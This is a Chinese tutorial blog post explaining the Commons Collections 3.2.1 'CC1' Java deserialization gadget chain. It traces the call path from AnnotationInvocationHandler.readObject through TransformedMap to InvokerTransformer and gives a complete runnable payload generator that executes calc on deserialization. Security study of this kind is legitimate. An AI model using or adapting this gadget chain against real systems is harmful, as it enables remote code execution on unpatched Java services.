首页 > 编程语言 >javaCC链1

javaCC链1

时间:2023-12-25 12:59:28浏览次数:34  
标签:InvokerTransformer Object javaCC transform Class new class

cc1链

jdk:jdk1.8.0_65

commons-collections 3.2.1

cc1链起点是commons-collections包的Transformer接口,这个接口的transform方法接收一个对象作为参数


package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

所以我们需要找到实现这个接口,并重写tarnsform方法的类,看其重写内容是否可以利用(IDEA找到类ctrl+h)

看到InvokerTransformer类的构造方法和transform方法:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

image-20231224143450554

可以看到transform使用反射机制调用方法

input这个对象可控,在构造方法可以控制方法名和参数值以及参数类型

用如下方式就可以利用InvokerTransformer的transform中的反射执行系统命令calc

Runtime r = Runtime.getRuntime();
InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});
//it.transform(r);
//这里需要找到调用transform方法的,然后transform参数还不知道可不可控

继续找调用了transform方法的类,在TransformedMap类中有一个chekSetValue方法

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

//构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

protected构造方法只能通过类内部调用,无法在外部调用,需要找到一个内部方法调用构造方法,看到decorate方法

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

利用

Runtime r = Runtime.getRuntime();
InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});
HashMap<object,object> map= new HashMap<>();
Map transformMap = TransformedMap.decorate(map,null,InvokerTransformer);

现在需要找到一个类去调用checkSetValue方法,看到AbstractInputCheckedMapDecorator类有一个MapEntry内部类继承了AbstractMapEntryDecorator类,MapEntry这个内部类里面有一个setValue方法

 static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }

看到AbstractMapEntryDecorator类构造方法,没什么需要注意

public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {
    protected final Map.Entry entry;

    public AbstractMapEntryDecorator(Map.Entry entry) {
        if (entry == null) {
            throw new IllegalArgumentException("Map Entry must not be null");
        } else {
            this.entry = entry;
        }
    }

Map.Entry是一个接口,entry其实是一个键值对

image-20231224160046876

所以可以通过设置键值对,遍历键值对,使用entry来调用setValue方法。下面代码的entry是遍历transformMap(这是TransformedMap类的一个对象)的键值对,而TransformedMap类本身没有setValue方法,又继承了AbstractInputCheckedMapDecorator类,所以entry,setValue调用的是父类AbstractInputCheckedMapDecorator的setValue

Runtime r = Runtime.getRuntime();
InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});
HashMap<object,object> map= new HashMap<>();
map.put("a","a");//设置键值对
Map transformMap = TransformedMap.decorate(map,null,InvokerTransformer);
 for(Map.Entry entry:transformMap.entrySet()) { //遍历键值对
         entry.setValue(r);//调用setValue
    }

但反序列化链我们需要找到重写的readObject,如果这个重写的readObject刚好调用了setValue就很好了。总之就是根据调用关系一层层向上扒,直到找到一个readObject

看到一个AnnotationInvocationHandler类重写了一个readObject方法调用了setValue。看构造方法和它的readObject

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

 private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

构造方法是默认类型-缺省,只可以在类中和同一包中调用,所以需要使用反射

利用:

public static void main(String[] args) throws Exception{
        Runtime r = Runtime.getRuntime();

        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        map.put("key","qs");

        Map transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object annotationInvocationHandler = constructor.newInstance(Override.class,transformedMap);
        serialize(annotationInvocationHandler);
        //Incompatible types. Found: 'java.lang.reflect.Method', required: 'jdk.internal.org.objectweb.asm.commons.Method'

    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
        o.writeObject(object);
    }

    public static void unserialize(String file) throws Exception{
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
    }

执行不了calc命令原因:

1.AnnotationInvocationHandler类中的readObject的setValue的传入对象我们不可控,也就是没有传入我们的getRuntime对象

2.AnnotationInvocationHandler类中的readObject的第一个if没有成功进去

3.Runtime对象即使传进去了,也不能序列化,因为它没有实现Serializebale接口

最终的利用:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","qs");
        Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap);
        serialize(annotationInvocationHandler);
        unserialize("Object");

看到ChainedTransformer,它构造方法会传入一个数组,然后调用数组里面的所有transform

public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    /**
     * Transforms the input to result via each decorated transformer
     * 
     * @param object  the input object passed to the first transformer
     * @return the transformed result
     */
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

然后看到ConstantTransformer的transform和构造方法,他会返回传入的对象,可以用来传入Runtime对象

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }

触发流程:反序列化触发AnnotationInvocationHandler的readObject,然后readObject调用 AbstractInputCheckedMapDecorator的setValue,此时的setValue调用checkSetValue。

image-20231225123655119

此时的parent是一个TransformedMap,调用TransformedMap的checkSetValue。

image-20231225123858822

可以看到此时的valueTransformer是ChainedTransformer,调用ChainedTransformer的transform,ChainedTransformer的transform会循环调用利用代码中数组里面的对应的类的transform。

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),//这里调用它的transform会返回Runtime对象
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})//这里的三个InvokerTransformer的transform的调用通过反射执行了exec("calc")
        };
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

// Press Shift twice to open the Search Everywhere dialog and type `show whitespaces`,
// then press Enter. You can now see whitespace characters in your code.
public class Main {
    public static void main(String[] args) throws Exception{
//        Class c = Runtime.class;
//        java.lang.reflect.Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
//        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//        invokerTransformer.transform(r);


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","qs");
        Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
        Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap);
        serialize(annotationInvocationHandler);
        unserialize("Object");
        //Incompatible types. Found: 'java.lang.reflect.Method', required: 'jdk.internal.org.objectweb.asm.commons.Method'

    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
        o.writeObject(object);
    }

    public static void unserialize(String file) throws Exception{
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
    }
}

参考:https://xz.aliyun.com/t/12669

https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.337.search-card.all.click&vd_source=772372a8c6f216ba8975276dca04045e

标签:InvokerTransformer,Object,javaCC,transform,Class,new,class
From: https://www.cnblogs.com/q1stop/p/17925873.html

相关文章

  • maven fmpp+javacc 集成使用简单说明
    dremio以及apachecalcite使用到fmpp+javacc进行代码生成处理,以下是一个简单的集成测试fmpp的作用fmpp实际上是包装了freemarker,提供了cli以及javaapi可以方便的......
  • maven fmpp+javacc 集成使用简单说明
    dremio以及apachecalcite使用到fmpp+javacc进行代码生成处理,以下是一个简单的集成测试fmpp的作用fmpp实际上是包装了freemarker,提供了cli以及javaapi可以方......
  • [JAVA反序列化]Javacc链1分析
    文章目录​​写在前面​​​​动态代理​​​​简单介绍​​​​动态代理的实现​​​​JavaCC链1分析​​​​参考文章​​写在前面这几天算是好好一边审计PHP的一些CMS一......
  • [Java反序列化]JavaCC链学习(8u71前)
    文章目录​​写在前面​​​​前置​​​​Transformer​​​​TransformedMap​​​​ChainedTransformer​​​​InvokerTransformer​​​​ConstantTransformer​​​​......